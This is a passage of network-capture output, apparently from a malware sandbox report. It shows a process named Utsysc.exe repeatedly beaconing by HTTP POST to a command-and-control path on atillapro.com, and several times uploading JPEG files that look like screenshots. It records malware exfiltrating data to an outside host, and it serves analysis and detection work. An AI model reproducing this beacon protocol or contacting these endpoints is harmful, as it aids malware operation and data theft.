Apr 10, 2024 10:24:26.842709064 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:27.033474922 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49746	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:27.326574087 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:27.513433933 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:27.514209986 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:27.721888065 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49747	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:28.047252893 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:28.234208107 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:28.234781981 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:28.433613062 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49748	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:28.420159101 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODg0MTU= Host: atillapro.com Content-Length: 88567 Cache-Control: no-cache
Apr 10, 2024 10:24:28.420257092 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 67 30 4d 54 55 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODg0MTU=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:28.420315981 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:28.420345068 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:28.420368910 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:28.420393944 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:28.420419931 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:28.420442104 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:28.420461893 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:28.420483112 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:28.420505047 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:29.651856899 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49749	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:28.732676029 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:28.918915987 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:28.919663906 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:29.116446018 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49750	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:29.406600952 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:29.594124079 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:29.597019911 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:29.787837029 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49751	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:30.084243059 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:30.270714045 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:30.295339108 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:30.494096041 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49752	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:30.225848913 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:30.225928068 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:30.225986958 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:30.226011038 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:30.226032019 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:30.226052046 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:30.226073980 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:30.226092100 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:30.226114035 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:30.226134062 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:30.226154089 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:30.859407902 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49753	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:30.802640915 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:30.988940001 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:30.989667892 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:31.186311960 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49754	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:31.339217901 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:31.339217901 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:31.339299917 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:31.339299917 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:31.339335918 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:31.339335918 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:31.339376926 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:31.339376926 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:31.339406967 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:31.339406967 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:31.339445114 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:32.857971907 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49755	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:31.529115915 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:31.715886116 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:31.717612982 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:31.909960032 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49756	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:32.235075951 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:32.421761990 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:32.424274921 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:32.622822046 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49757	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:32.934741020 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:33.121032000 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:33.121639967 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:33.318844080 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49758	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:33.307550907 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUyNjE= Host: atillapro.com Content-Length: 85413 Cache-Control: no-cache
Apr 10, 2024 10:24:33.307550907 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 79 4e 6a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUyNjE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:33.307550907 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:33.307574987 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:33.307770967 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:33.307770967 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:33.307771921 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:33.307857037 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:33.307919025 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:33.307919025 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:33.307966948 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:34.459834099 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49759	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
